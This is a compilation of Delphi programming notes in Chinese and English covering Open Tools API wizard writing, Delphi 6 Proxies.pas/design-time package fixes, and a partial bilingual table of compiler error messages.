TIInterface是繼承TObject來模擬Interface，而是用Complier原生支援的Interface，所有的Interface繼承至IUnknown；其實你在Delphi 5、6中還是可以照

Hidden Paths of Delphi 3.0中的寫法，不過用Delphi所附的範例寫法會比較好，底下是我想到的優點：

你的專家會比較有彈性：

使用傳統的方法你必需要覆寫所有的專家方法，但是其實有些方法是不需要覆寫的，比如說若你的專家是要放在物件寶庫中那麼其實你不用覆寫TIExpert以下

的這個方法「function GetMenuText: string; virtual; stdcall; abstract;」這個函式是用來回傳假如你寫得是一個標準專家或是附加專家那麼在選單上

要出現的文字是什麼；藉由選擇性的implement你的專家Interface，可以只要改寫真正需要的方法就可以了。

你的專家會有更多的功能：

藉由IBorlandIDEServices這個介面，你可以存取到比用IToolServices更多的功能，在ToolsAPI這個單元當中只要是結尾為Services的Interface，那麼就可

以被IBorlandIDEServices所轉型後使用，也就是說IBorlandIDEServices替代了IToolServices，Delphi的整合環境會自動產生一個物件，此物件實作了

IBorlandIDEServices，而此物件會被自動指定到BorlandIDEServices這個IBorlandIDEServices介面變數，使得藉由BorlandIDEServices可以和Delphi的整合

環境深度對話，下面是摘自ToolsAPI可被BorlandIDEServices轉型的Interface及簡短的說明，我第一次接觸還真的蠻驚訝的，竟然可以轉這麼多型別。

Interface名稱 摘要說明

IBorlandIDEServices 與整合環境互動的始祖，可轉型至結尾為Services的Interface，以真正提供服務。

INTAServices 可以換掉整合環境的圖示

IOTAActionServices 可以用來開啟檔案、關閉檔案、存檔案以及開啟專案。

IOTADebuggerServices 用來得知除錯資訊，比如說設定了多少個中斷點，這些中斷點又在哪裡？

IOTAEditorServices 用來和編輯器互動，比如說可以得知目前在編輯器中游標的位置或是在編輯器中加碼

IOTAKeyBindingServices 得知鍵盤訊息，不是很清楚

IOTAKeyboardServices 得知鍵盤訊息，不是很清楚

IOTAMessageServices 通常在程式執行時程式編輯器下面會有一個視窗出現，用來顯示Complier的訊息，這個Interface就是和那個視窗互動的

IOTAServices 用來得知目前的編輯環境是VCL還是CLX

IOTAModuleServices 提供產生模組、獲得目前整合環境的模組資訊

IOTAPackageServices 用來顯示Packages資訊

IOTAToDoServices 提供對To-Do List的功能，比如說加入一些To-Do項目

IOTAWizardServices 用來在設計時期動態的加入或移除專家，提供了以往只能用註冊的方式

您可以看到這些豐富的介面，真是多啊！這每一個介面又牽扯到至少兩三個相關的介面，看來要詳細介紹完可得要完全改寫了Hidden Paths of Delphi了，我

可沒那個本事，能讓你入門就不錯了；看來Code Site、Code Rush這類軟體就是大量用到了這些介面。

有兩種介面我還不是很清楚，就是IOTAKeyBindingServices及IOTAKeyboardServices，我試圖開啟Editor Keybinding這個範例，裡面有對於這兩個介面的程

式碼，可是無法正確的Install成功，若您知道解法的話請告訴我。

底下我們以Delphi中所附的Open Tools API範例PackageDemo來說明專家的寫法及如何與整合環境互動，明白的講，就是要告訴你兩件事：

1不要再繼承至TIExpert了啦！用繼承多個ToolsAPI單元中的介面這樣的方式會比較好。

2不要再用ToolsServices這個類別了啦！用BorlandIDEServices會比較好。

先來看看在PackageDemo中的WizMain單元中對於一個專家的宣告：

TMenuIOTATest = class(TNotifierObject, IOTAWIzard, IOTAMenuWizard)

public

function GetMenuText: string;

function GetIDString: string;

function GetName: string;

function GetState: TWizardState;

procedure Execute;

end;

看起來是不是比TIExpert的宣告清爽了許多呢？有關TIExpert的宣告你可在ExptIntf這個單元中找到，我就不列出來了。其中TnotifierObject是基本和整合

環境互動的類別，當整合環境發生事件時會通知您，不過TnotifierObject暗中把這些方法做掉了，ToolsAPI單元中的註解中有提到，通常我們都不會需要這

些方法，好吧！也不再追究詳細的用法了。

而實作IOTAWIzard這個介面是一個重要的關鍵，代表要這個類別要成為一個專家，底下是其介面宣告：

IOTAWizard = interface(IOTANotifier)

['{B75C0CE0-EEA6-11D1-9504-00608CCBF153}']

{ Expert UI strings }

function GetIDString: string; //傳回唯一代表這個專家的字串

function GetName: string; //傳回這個專家的名稱

function GetState: TWizardState; //傳回這個專家的狀況，是要致能或是選取

{ Launch the AddIn }

procedure Execute; //專家實際執行時會呼叫的程式碼

end;

眼尖的朋友一定會發現，原本在TIExpert中有的GetStyle方法已不復見，這個函式的傳回值決定了專家的種類，是為附加專家、標準專家、專案專家或是表格

專家；底下是在ToolsAPI中結尾為Wizard的介面摘要說明，我們可以從其中的關係很容易推出若我們要寫哪一種類的專家就要實作哪個介面，是的，專家種類

的選擇由函式傳回值改為實作某個介面了！

介面名稱 父介面 專家類型

IOTAWizard IOTANotifier 最基本的專家介面

IOTAMenuWizard IOTAWizard 標準專家

IOTARepositoryWizard IOTAWizard 物件寶庫中的專家介面

IOTARepositoryWizard60 IOTARepositoryWizard 可以判斷是CLX還是VCL

IOTAProjectWizard IOTARepositoryWizard 專案專家

IOTAFormWizard IOTARepositoryWizard 表格專家

若要寫個表格專家就實作IOAFormaWizard介面，一塊實作它的父介面IOTARepositoryWizard及IOTAWizard；若要寫個標準專家就實作IOTAMenuWizard介面，一

塊實作它的父介面IOTAWizard，這樣的原則很容易掌握吧。在下表中更可清楚看出TIExpert與IOTAXXXWizard介面之間的差異及實作方法的說明：

IOTAXXWizard 函式 說明

TIExpert IOTAWizard function GetIDString: string; 傳回識別專家的唯一字串

function GetName: string; 傳回專家的名稱

function GetState: WizardState; 在選單項目中的狀態

procedure Execute; 實際實行專家程式碼的地方

IOTAMenuWizard function GetMenuText: string; 傳回出現在選單的名稱

IOTARepositoryWizard function GetAuthor: string; 傳回作者名稱

function GetComment: string; 傳回專家簡要說明

function GetPage: string; 要在物件寶庫中哪一頁安裝

function GetGlyph: Cardinal; 傳回代表專家的圖示

IOTAProjectWizard 取代TIExpert中的GetStyle方法 只是單純的宣告為專案專家

IOTAFormWizard 只是單純的宣告為表格專家

IOTARepositoryWizard60 function GetDesigner: string;

property Designer: string read GetDesigner; 獲得目前的編輯環境是在VCL下還是CLX

容我再說明一次，在用IOTAxxWizard介面來寫專家你只要改寫需要的方法就可以了，不用再覆載所有TIExpert的方法了；IOTAProjectWizard及

IOTAFormWizard只是單純的標記此專家為專案專或是表格專家，取代了以往的GetStyle函式，在其中沒有任何的方法宣告，但是Delphi整合環境會用

QueryInterface的方式來查出這些介面來判斷正確的專家類型，而安裝在正確的地方。

還有一個值得一題的介面IOTARepositoryWizard60，此函式並沒有出現在 Delphi 6.0的TIExpert宣告中，實作此函式可以得知目前的設計環境是在VCL下還是

CLX下，從種種的跡象看來，似乎TIExpert和TIToolsServices都和BDE的命運一樣，進入了維護階段。

以下我列出PackagesDemo中的WizMain單元程式碼，對於容易理解而且上面有提過的介面及方法就用註解的方式來標記，其他的才特別加以說明。

unit WizMain;

interface

uses

Windows, ToolsAPI, Forms, Dialogs, FrmMain, SysUtils, Graphics;

//以前至少要使用兩個Open Tools API的單元ExptIntf及ToolInf，前者是專家的//宣告，後者是TIToolServices的宣告，現在看到ToolsAPI這個單元全包了

。

type

TMenuIOTATest = class(TNotifierObject, IOTAWIzard, IOTAMenuWizard)

public

function GetMenuText: string;

function GetIDString: string;

function GetName: string;

function GetState: TWizardState;

procedure Execute;

end;

procedure Register;

var

//宣告介面變數，可取得Package資訊的介面

PackageTest: IOTAPackageServices;

PackageForm: TForm2;

implementation

procedure Register;

begin

RegisterPackageWizard(TMenuIOTATest.create as IOTAWizard);//註冊專家

end;

//出始化專家，獲得IOTAPackageServices介面

procedure InitExpert;

begin

//將BorlandIDEServices轉型為IOTAPackageServices以取得Package相關資料

PackageTest := (BorlandIDEServices as IOTAPackageServices);

end;

//結束專家要做的事情

procedure DoneExpert;

begin

{ stubbed out }

end;

{ TMenuIOTATest }

procedure TMenuIOTATest.Execute;

var

i: Integer;

begin

if BorlandIDEServices <> nil then

begin

PackageForm := TForm2.create(Nil);

with PackageForm do

{Package information}

//取得在整合環境中的Package數目

for i := 0 to PackageTest.GetPackageCount-1 do

//根據索引來取得Package的名稱

ListBox1.Items.Add(PackageTest.GetPackageName(i));

PackageForm.ShowModal;

PackageForm.Free;

end;

end;

//傳回唯一識別專家的字串

function TMenuIOTATest.GetIDString: string;

begin

Result := 'PackageInfoMenuId';

end;

//傳回了在Help選單項目上出現的文字，為「Package Demo」

function TMenuIOTATest.GetMenuText: string;

begin

Result := 'Packa&ge Info';

end;

//傳回專家的名稱

function TMenuIOTATest.GetName: string;

begin

Result := 'PackageInfoMenu';

end;

//傳回專家在選單項目上的狀態，此為Enabled

function TMenuIOTATest.GetState: TWizardState;

begin

Result := [wsEnabled];

end;

initialization

InitExpert;

finalization

DoneExpert;

end.

在以上的程式碼中您會發覺幾個重要的改變：

1註冊專家的方式：

procedure Register;

begin

RegisterPackageWizard(TMenuIOTATest.create as IOTAWizard);//註冊專家

end;

您必須先將您的「專家類別」轉型成為「專家介面」再用RegisterPackageWizard這個函式來進行註冊，取代了註冊TIExpert專家的RegisterLibraryExpert函

式。

2如何與整合環境互動：

procedure InitExpert;

begin

PackageTest := (BorlandIDEServices as IOTAPackageServices);

end;

以往，一拖拉庫的函式都放在TIToolServices中，這次，放在IBorlandIDEServices介面，你要若取得相關的資訊，得轉型至相關的介面才可以使用，這樣分

類看起來的確是清爽許多，詳細的BorlandIDEServices可轉型至何介面，請看本文第一張附表。

3如何使用IOTAxxxServices類別：

底下列出這個範例中的IOTAPackageServices宣告，

//繼承至IUnknown

IOTAPackageServices = interface(IUnknown)

['{26EB0E4D-F97B-11D1-AB27-00C04FB16FB3}']

//取得目前整合環境中已安裝的Package數目

function GetPackageCount: Integer;

//根據索引值取得Package的名稱

function GetPackageName(Index: Integer): string;

//根據Package的索引值找出在這個Package中有幾個元件

function GetComponentCount(PkgIndex: Integer): Integer;

//根據Package及Component的索引值找出對應的元件名稱

function GetComponentName(PkgIndex, CompIndex: Integer): string;

//下面的屬性只是上面的函式再包裝而已

property PackageCount: Integer read GetPackageCount;

property PackageNames[Index: Integer]: string read GetPackageName;

property ComponentCount[PkgIndex: Integer]: Integer read GetComponentCount;

property ComponentNames[PkgIndex, CompIndex: Integer]: string read GetComponentName;

end;

行文至此，我想這個範例對你而言已經沒有什麼秘密了吧！剩下的就是一些UI的程式碼而已，大部份放在FrmMain這個單元中，不難，你應該可以輕易瞭解。

ToolsAPI還有許多強大的介面等待我們去發掘，這篇文章只是個起點而已，下次來看看Borland所釋出的BizSnap專家是如何寫得吧！

最後，我們來討論一下，你覺得Borland設計這些與整合環境互動的概念與技巧可否應用於你的專案上呢？你寫的物件別人只能經由介面來存取，完全看不到

你實作程式碼，若要使用者提供一些資訊的話，就讓他實作某個介面，你的內部類別再去呼叫這些程式碼以真正提供服務。

假如你因為這小段話而獲得啟發的話，可別忘了把你的成品發表出來看看哦！


自定义编译单元

在Delphi的IDE中，有一个遗憾的地方就是，Delphi不能单独编译单元，那么如何来弥补这个缺陷呢？

我们知道，在Delphi中，有一个Tools工具菜单，可以让我们自己定义工具，我们利用它既可。

首先建立一个类似的批处理文件dcc32.bat，内容如下：

@echo off

D:.EXE "%1"

pause

然后添加一个Tools类似下面：

以后即可编译单元了。可惜没有定位错误行的功能。


缺少Proxies.dcu错误

Delphi 6.0中属性编辑器的解决方案

Delphi中用户可以自己声明属性编辑器在程序设计期间对第三方控件进行设计，对属性编辑器的声明可以在注册控件的时候通过RegisterComponentEditor过程进行定义，具体为：

procedure RegisterComponentEditor(ComponentClass: TComponentClass; ComponentEditor: TComponentEditorClass);

当然，用户在注册前要定义自己的属性编辑器，下面是一个例子：

TOutlookBarEditor = class(TComponentEditor)

function GetVerb(Index: Integer): string; override;

function GetVerbCount: Integer; override ;

procedure Edit; override;

procedure ExecuteVerb(Index: Integer); override;

end;

其中最关键的部分在于对RegisterComponentEditor的引用。

在Delphi5.0中，可以直接将$(DELPHI)目录下的DsgnIntf.pas文件拷贝到控件的设计目录下或者拷贝到$(DELPHI)目录即可。

在Delphi6.0中，Delphi将文件分解成DesignIntf.pas和DesignEditors.pas两个文件，所以引用时要将$(DELPHI)目录下的DesignIntf.pas和DesignEditors.pas两个文件拷贝到控件的设计目录下或者拷贝到$(DELPHI)目录。

当然，如果你的Delphi Package的搜索路径或者Delphi IDE的搜索路径可以搜索到$(DELPHI)目录就省去此麻烦。

但是，在Delphi 6.0中，如果就此编译，会出现找不到Proxies.dcu文件的问题。因为Proxies被编译了，在Delphi的目录中根本就找不到此相关文件，它已经被编译到designide.dcp文件中，解决方案很简单，就是在你的Package中引用designide.dcp文件即可，具体作法是：

Project－＞View Source－＞在requires部分加入对designide的引用即可。

由于此部分文件只是在设计期间才有效，所以你的Package在设计时就要注意：

不要在运行期间将在进行期间使用的文件加入对DesignIntf.pas和DesignEditors.pas两个文件的引用，否则依然会出现找不到Proxies.dcu文件的问题，要将文件脱离！

当然，如果你的Package要在Delphi 5.0及Delphi6.0下同时能运行，那就要下点功夫通过编辑器的版本进行控制，Delphi 6.0的编辑器版本是VER140，Delphi 5.0的编辑器版本是VER130，下面是本人的一个真实的引用文件：

uses

Classes, {$IFDEF VER140}DesignIntf, DesignEditors{$ELSE}DsgnIntf{$ENDIF};

Package部分由于版本不同而对不同的版本要进行不同的设计，再此就不叙述了！

其它补记：由于Delphi 5.0和Delphi 6.0对过程及参数的定义区域不同而出现错误，所以在编写两个版本的Package时一定要注意引用虚函数时出现的问题。例如对TControl控件的SetAutoSize(Value: Boolean)过程的引用：

在Delphi 5.0中定义为：

private

procedure SetAutoSize(Value: Boolean);

而在Delphi 6.0中定义为：

protected

procedure SetAutoSize(Value: Boolean); virtual;

此时的定义要根据自己的实际情况定义了，可不能随便定义了！

***************************************

Missing unit 'Proxies.pas'

Question:

If your application or expert uses designtime information, you have to replace

uses DsgnIntf;

with

uses DesignIntf, DesignEditors;

But then you will run into an error message 'Cannot find unit Proxies.pas'

Answer:

The solution is to add DesignIde.dcp to your list of required packages.

You will have to ensure that the run-time package does not require the design-time package(s). This change in Delphi 6 enforces Borland's licence restrictions on designtime editors more strongly, which have been in the license documents since Delphi 3, I believe.

visitors since Nov 21th, 2001

*********************************************

What ever happened to Proxies.pas?

Abstract:This article illustrates a scheme for properly segregating runtime code from design-time code in Delphi. By Jeff Overcash.

One frequent question since Delphi 6 shipped has concerned the disappearance of Proxies.pas from the source.

This change is part of a larger trend.

Borland chose not to ship DsgnIntf.dcu with Delphi 5, apparently to force compliance with the Delphi and C++Builder license agreements. The design-time code had been inadvertently used at runtime by many components. In some ways Borland encouraged this behavior: If you use the new component wizard you will see that this wizard creates only one unit, putting both the component skeleton code (runtime) and the Register procedure (design-time) in the same unit.

With Delphi 6, Borland has taken the next step. Not only was DsgnIntf replaced with DesignIntf, but the property editors were also pulled out into DesignEditors, DesignMenus, DesignWindows and other design-time files. DesignEditors in particular uses another IDE file named Proxies. (The Proxies code resides in DesignIDE.bpl.) Needless to say, these changes can result in errors at compile time.

If your code is already segregated in terms of runtime versus design-time then the fix is very simple. Open up your design-time package, select the requires folder and hit the Add button. Type designide.dcp and hit OK. Recompile your package and the error should go away.

But how can this problem be fixed when design-time and runtime code has been mixed together? DesignIDE.bpl is not a redistributable package in Delphi. So even in situations where the "design-time only" package has the component's runtime code and only the component dcu is used, there can still be a problem.

In 99.99% of the cases this is actually very easy to fix. Your runtime code isn't actually using the design-time code; things just are not properly segregated. The segregation lines are fairly simple, however.

The design-time package should include:

All registration statements.

All property editors.

All Component editors.

Should require DesignIDE and each runtime package that holds the components themselves.

The runtime package should include:

The components themselves only.

Optionally, any forms the editors may use IF the component can call the form itself at runtime

The only place where there is a little confusion is if the property/component editor uses a form. If that form is available at runtime to the component, it belongs in the runtime package. If it is only available at design-time, it goes in the design-time package. A very common misperception is that the form itself is the editor, but it is not. It is the component editor that calls the form that is the design-time editor.

You should get in the habit of always separating your components into two packages even if you only statically link your application, because mixing design-time and runtime code leads to code bloat. Your design-time code can't be executed in the runtime, but the linker doesn't know that so it links it in anyway. (This is why DsgnIntf is trying to get linked in.)

Let's walk though a very simple component to see how to break the design-time code from the runtime:

{ TMixedComponent }

TMixedComponent = class(TComponent)

private

FFileName: String;

published

property FileName : String read FFileName write FFileName;

{ Published declarations }

end;

{ TMixedFileNameProperty }

TMixedFileNameProperty = class(TPropertyEditor)

function AllEqual: boolean; override;

procedure Edit; override;

function GetAttributes: TPropertyAttributes; override;

function GetValue: string; override;

procedure SetValue (const Value: string); override;

end;

procedure Register;

implementation

procedure Register;

begin

RegisterPropertyEditor(TypeInfo(string), TMixedComponent, 'FileName', TMixedFileNameProperty);

RegisterComponents('Samples', [TMixedComponent]);

end;

function TMixedFileNameProperty.AllEqual: boolean;

var

FirstVal: string;

i: Integer;

begin

FirstVal := GetStrValue;

Result := True;

i := 1;

while Result and (i < PropCount) do

begin

Result := Result and (GetStrValueAt(i) = FirstVal);

Inc(i);

end;

end;

procedure TMixedFileNameProperty.Edit;

var

Dlg: TOpenDialog;

begin

Dlg := TOpenDialog.Create(Application);

try

with Dlg do

begin

Title := 'File for ' + TComponent(GetComponent(0)).Name;

FileName:= Value;

if Execute then Value := FileName;

end;

finally

FreeAndNil(Dlg);

end

end;

function TMixedFileNameProperty.GetAttributes: TPropertyAttributes;

begin

Result := [paDialog]

end;

function TMixedFileNameProperty.GetValue: string;

begin

Result := GetStrValue;

end;

procedure TMixedFileNameProperty.SetValue(const Value: string);

begin

SetStrValue(Value);

end;

end.

The easiest way to segregate the design-time code from runtime code is to take all the code that requires DesignIntf and DesignEditors and put it in its own unit. That unit will need to use the component's unit. The component itself does not have need to know about the IDE editors that will work with it. So for a start, remove the design-time units DesignIntf and DesignEditors from the uses clause component unit and let the compiler/linker tell you which classes need to be moved into their own unit:

[Error] MixedComponent.pas(23): Undeclared identifier: 'TPropertyEditor'

[Error] MixedComponent.pas(23): Class type required

[Error] MixedComponent.pas(24): Method 'AllEqual' not found in base class

[Error] MixedComponent.pas(25): Method 'Edit' not found in base class

[Error] MixedComponent.pas(26): Undeclared identifier: 'TPropertyAttributes'

[Error] MixedComponent.pas(27): Method 'GetValue' not found in base class

[Error] MixedComponent.pas(28): Method 'SetValue' not found in base class

[Error] MixedComponent.pas(35): Undeclared identifier: 'RegisterPropertyEditor'

[Error] MixedComponent.pas(35): Undeclared identifier: 'TMixedFile'

[Error] MixedComponent.pas(46): Undeclared identifier: 'GetStrValue'

[Error] MixedComponent.pas(49): Undeclared identifier: 'PropCount'

[Error] MixedComponent.pas(51): Undeclared identifier: 'GetStrValueAt'

[Error] MixedComponent.pas(51): Operator not applicable to this operand type

[Error] MixedComponent.pas(64): Undeclared identifier: 'GetComponent'

[Error] MixedComponent.pas(65): Undeclared identifier: 'Value'

[Error] MixedComponent.pas(75): Undeclared identifier: 'paDialog'

[Error] MixedComponent.pas(80): Undeclared identifier: 'GetStrValue'

[Error] MixedComponent.pas(85): Undeclared identifier: 'SetStrValue'

[Fatal Error] JOComponents.dpk(33): Could not compile used unit 'MixedComponent.pas'

The next step is to create a new unit to hold the design-time code. Name it something like MixedComponentReg. Move the Register procedure over to that unit. Now start going through the error messages and start evaluating them. The first error, [Error] MixedComponent.pas(23): Undeclared identifier: 'TPropertyEditor', indicates that the whole class inherits from something in one of the design-time units we removed. This is a clear indication that this is only design-time code and the whole class needs to be moved over to the newly created unit.

At this point the runtime package now compiles cleanly (if not, keep pulling design-time code out until it compiles cleanly without errors). Now there is no need for Proxies.pas or any other design-time units for the component to work in your application at runtime. The runtime component unit is much simplified. It looks like this:

unit MixedComponent;

interface

uses

Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms, Dialogs;

type

{ TMixedComponent }

TMixedComponent = class(TComponent)

private

FFileName: String;

published

property FileName : String read FFileName write FFileName;

{ Published declarations }

end;

implementation

end.

The final step is to get the component and its property editors compiled into a design-time package and installed into the IDE.

Create a new package by doing File | New | Other and select package. Bring up the packages options and select design-time only. Give a descriptive name in the Description field. Select the Requires folder and hit the Add button. In the Requires Package edit box type Designide.dcp and hit OK. Also add the dcp for the runtime package that the component resides in. In this case it was put it in JOComponents.dpk, so JOComponents.dcp is added to the requires section. The requires section has three items: JOComponents, designide and rtl. Finally, select the Contains folder and add MixedComponentReg.pas to the package.

We're almost done!

Open up MixedComponentReg.pas to add a couple of units in the uses section. Which section depends on whether your component or property editor uses the component in its declaration (more complicated editors sometimes need knowledge of the component). If it does, then add it to the Interface uses clause. If not, put it in the implementation uses. In our example we don't need the information so MixedComponent goes in the implementation uses clause. DesignIntf and DesignEditors belong in the Interface uses. SysUtils, Forms, Dialogs, and Classes are all used internally in different ways in the property editor, so they belong in the implementation section. The final MixedComponentReg looks like this:

unit MixedComponentReg;

interface

uses DesignIntf, DesignEditors;

type

{ TMixedFileNameProperty }

TMixedFileNameProperty = class(TPropertyEditor)

function AllEqual: boolean; override;

procedure Edit; override;

function GetAttributes: TPropertyAttributes; override;

function GetValue: string; override;

procedure SetValue (const Value: string); override;

end;

procedure Register;

implementation

uses MixedComponent, SysUtils, Forms, Dialogs, Classes;

procedure Register;

begin

RegisterPropertyEditor(TypeInfo(string), TMixedComponent, 'FileName', TMixedFileNameProperty);

RegisterComponents('Samples', [TMixedComponent]);

end;

function TMixedFileNameProperty.AllEqual: boolean;

var

FirstVal: string;

i: Integer;

begin

FirstVal := GetStrValue;

Result := True;

i := 1;

while Result and (i < PropCount) do

begin

Result := Result and (GetStrValueAt(i) = FirstVal);

Inc(i);

end;

end;

procedure TMixedFileNameProperty.Edit;

var

Dlg: TOpenDialog;

begin

Dlg := TOpenDialog.Create(Application);

try

with Dlg do

begin

Title := 'File for ' + TComponent(GetComponent(0)).Name;

FileName:= Value;

if Execute then Value := FileName;

end;

finally

FreeAndNil(Dlg);

end

end;

function TMixedFileNameProperty.GetAttributes: TPropertyAttributes;

begin

Result := [paDialog]

end;

function TMixedFileNameProperty.GetValue: string;

begin

Result := GetStrValue;

end;

procedure TMixedFileNameProperty.SetValue(const Value: string);

begin

SetStrValue(Value);

end;

end.

All that is left is to compile and install the design-time package.

The runtime code is now completely segregated from the design-time code.

While this is a fairly simple example, the only time it gets a little more complicated is when the property editor uses a form to retrieve the data, and that form is also available at runtime. In those cases the form stays in the runtime package, and the design-time property editor will call that form from the runtime package.

If you get in the habit of always having a runtime package for the components and a design-time package for the registration and editors, you won't have any more problems, even if you only intend to statically link in the DCUs.

By Jeff Overcash (TeamB).

--------------------------------------------------------------------------------

Add or View comments on this article

NOTE: The views and information expressed in this document represent those of its author(s) who are solely responsible for its content. Borland does not make or give any representation or warranty with respect to such content.

Article ID: 27717 Publish Date: October 19, 2001 Last Modified: October 19, 2001

Proxies.pas

// --------------------------------------------------------------------------------------
// UPGRADING TO DEPLHI6
//
// The file is small replacement of absent Proxis.pas for Delphi6
// 1)
// Copy the file to C:\Program Files\Borland\Delphi6\Source\ToolsAPI
// 2)
// In Delphi6 add path to "Tools" > "Environment Options" > "Library" > "Browsing path":
// "$(DELPHI)\source\ToolsAPI"
// 3)
// Replace in your source (Uses ...) "DsgnIntf" to "DesignIntf, DesignEditors".
// The "DesignEditors" is necessary if in source is present "class (TPropertyEditor)"
//
// Andrew, Belarus, Minsk
// http://rc4wa.narod.ru - remote control for NullSoft WinAmp, freeware
// --------------------------------------------------------------------------------------

unit Proxies;

interface

function IsProxyClass(ComponentClass: TClass): Boolean;

implementation

function IsProxyClass(ComponentClass: TClass): Boolean;
begin
Result := True;
end;

end.


编译错误信息

编 译 错 误 信 息

http://www.wapsec.com.cn/delphi(2001年1月2日) 作者: maming(推荐) 推荐:maming

--------------------------------------------------------------------------------

';' not allowed before 'ELSE' ElSE前不允许有“;”

'' clause not allowed in OLE automation section 在OLE自动区段不允许“”子句

'' is not a type identifier 不是类型标识符

'' not previously declared as a PROPERTY 前面没有说明PROPERTY

'GOTO ' leads into or out of TRY statement GOTO 进入或超出TRY语句的范围

clause expected, but found 要求子句，但出现

16-Bit fixup encountered in object file '' 在对象文件遇到16位修复

486/487 instructions not enabled 不能用486/487指令

Abstract methods must be virtual or dynamic 抽象方法必须为虚拟的或动态的

Array type required 需要数组类型

Assignment to FOR-Loop variable '' 给FOR循环变量赋值

Bad argument type in variable type array constructor 在变量类型数组结构中不正确的参数类型

Bad file format '' 错误的文件格式

Bad file format: 错误的文件格式

Bad global symbol definition: '' in object file '' 对象文件''中错误的全局符号定义''

Bad unit format: 错误的单元格式

BREAK or CONTINUE outside of loop BREAK或CONTINUE超出循环

Cannot add or subtract relocatable symbols 不能增加或减少可重置的符号

Cannot assign to a read-only property 不能指定只读属性

Cannot BREAK, CONTINUE or EXIT out of a FINALLY clause 超出FINALLY子句的范围，不能使用BREAK,CONTINUE或EXIT语句

Cannot initialize local variables 不能初始化局部变量

Cannot initialize multiple variables 不能初始化多个变量

Cannot initialize thread local variables 不能初始化线程局部变量

Cannot override a static method 不能覆盖静态方法

Cannot read a write-only property 不能读取只写属性

Case label outside of range of case expression CASE标号超出了CASE表达式的范围

Circular unit reference to 对单元循环引用

Class already has a default property 类已具有默认的属性

Class does not have a default property 类没有默认的属性

Class or object types only allowed in type section 在类型区段只允许有类或对象类型

Class type required 需要类类型

Close error on 文件关闭错误

Compile terminated by user 用户中止编译

Constant expected 要求常量

Constant expression expected 要求常量表达式

Constant expression violates subrange bounds 常量表达式超出子界范围

Constant object cannot be passed as var parameter 常量对象不能作为变量参数传递

Constant or type identifier expected 要求常量或类型标识符

Constants cannot be used as open array arguments 常量不能用作打开数组参数

Constructing instance of '' containing abstract methods 构造的实体包含抽象的方法

Could not compile used unit '' 不能用单元编译

Could not create output file 不能建立输出文件

Could not load RLINK32.DLL 不能加载RLINK32.DLL

Data type too large: exceeds 2 GB 数据类型太大：超过2GB

Declaration of differs from previous declaration 的说明与先前的说明不同

Default property must be an array property 默认的属性必须为数组属性

Default values must be of ordinal, pointer or small set type 默认的值必须为序数、指针或小集类型

Destination cannot be assigned to 目标不能指定

Destination is inaccessible 目标不能存取

Dispid '' already used by '' DISPID标识号已被使用

Dispid clause only allowed in OLE automation section DISPID子句只能在OLE自动区段中使用

Division by zero 除数为零

Duplicate case label CASE标号重复

Duplicate tag value 重复的标志值

Dynamic method or message handler not allowed here 这里不允许有动态方法或信息处理程序

Dynamic methods and message handlers not allowed in OLE automation section在OLE自动区段不允许有动态方法或消息处理程序

Element 0 inaccessible - use 'Length' or 'SetLength' 元素0不能存取-使用LENGTH或SETLENGTH

Error in numeric constant 数值常量错误

EXCEPT or FINALLY expected 要求EXCEPT或FINALLY

EXPORTS allowed only at global scope EXPORTS只允许在全局范围使用

Expression has no value 表达式没有值

Expression too complicated 表达式太复杂

Field definition not allowed in OLE automation section 在OLE自动区段中不允许域定义

Field definition not allowed after methods or properties 在方法或属性后不允许域定义

Field or method identifier expected 要求域或方法标识符

File not found: 文件没有找到

File type not allowed here 这儿不允许文件类型

For loop control variable must be simple local variable FOR循环控制变量必须为简单局部变量

For loop control variable must have ordinal type FOR循环控制变量必须为序数类型

FOR or WHILE loop executes zero times - deleted FOR或WHILE循环执行零次-删除

FOR-Loop variable '' cannot be passed as var parameter FOR循环变量不能作为参数传递

FOR-Loop variable '' may be undefined after loop 在循环后的FOR循环变量是不确定的

Function needs result type 函数需要结果类型

Identifier redeclared: '' 标识符重复说明

Illegal character in input file: '' ($) 在输入文件中的非法字符''

Illegal message method index 非法的消息方法指针

Illegal reference to symbol '' in object file '' 在对象文件中对符号的非法引用

Illegal type in OLE automation section: '' 在OLE自动区段中的非法类型

Illegal type in Read/Readln statement 在Read/Readln语句中的非法类型

Illegal type in Write/Writeln statement 在Write/Writeln语句中的非法类型

Inaccessible value 不可存取的值

Incompatible types: '' and '' 不兼容的类型和

Incompatible types: 不兼容的类型

Inline assembler stack overflow 内联汇编溢出

Inline assembler syntax error 内联汇编语法错误

Instance variable '' inaccessible here 实体变量在这里不能存取

Integer constant or variable name expected 要求整形常量或变量名

Integer constant too large 整型常量太大

Internal error: 内部错误

Invalid combination of opcode and operands 操作码与操作对象的无效组合

Invalid compiler directive: '' 无效的编译指令

Invalid function result type 无效的函数值类型

Invalid message parameter list 无效的消息参数列表

Invalid register combination 无效的寄存器组合

Invalid typecast 无效的TYPECASE

Label '' is not declared in current procedure 在当前的过程中没有说明标号

Label already defined: '' 标号已经定义

Label declaration not allowed in interface part 在界面部分不允许标号说明

Label declared and referenced, but not set: '' 标号被说明及引用,但不能设置

Label expected 要求标号

Left side cannot be assigned to 左边不能赋值

Line too long (more than 255 characters) 行太长(超出255个字符)

Local class or object types not allowed 不允许局部的类或对象类型

Local procedure/function '' assigned to procedure variable 局部过程/函数赋给过程变量

LOOP/JCXZ distance out of range LOOP/JCXZ距离超出范围

Low bound exceeds high bound 下界超过上界

Memory reference expected 要求内存引用

Method '' hides virtual method of base type '' 方法隐藏了基类型为的虚拟方法

Method '' not found in base class 在基类中没有找到方法

Method identifier expected 要求方法标识符

Missing ENDIF directive 缺少ENDIF指令

Missing operator or semicolon 缺少操作符或分号

Missing or invalid conditional symbol in '$' directive 在$指令中缺少或无效的条件符号

Missing parameter type 缺少参数类型

Necessary library helper function was eliminated by linker 必要的库帮助函数被连接程序删除

No definition for abstract method '' allowed 抽象方法没有定义

Not enough actual parameters 没有足够的实际参数

Number of elements differs from declaration 元素数与说明不同

Numeric overflow 数值溢出

Object or class type required 需要对象或类类型

Object type required 需要对象类型

Only register calling convention allowed in OLE automation section 在OLE自动区段中只允许寄存器调用约定

Operand size mismatch 运算对象大小匹配

Operator not applicable to this operand type 运算符不使用于这一运算对象类型

Order of fields in record constant differs from declaration 在记录常量中的域次序与说明不同

Ordinal type required 需要序数类型

Out of memory 内存溢出

Overflow in conversion or arithmetic operation 转换或算术操作溢出

Overriding automated virtual method '' cannot specify a dispid 覆盖的自动虚拟方法不能指定DISPID

PACKED not allowed here 这里不允许PACKED

Pointer type required 需要指针类型

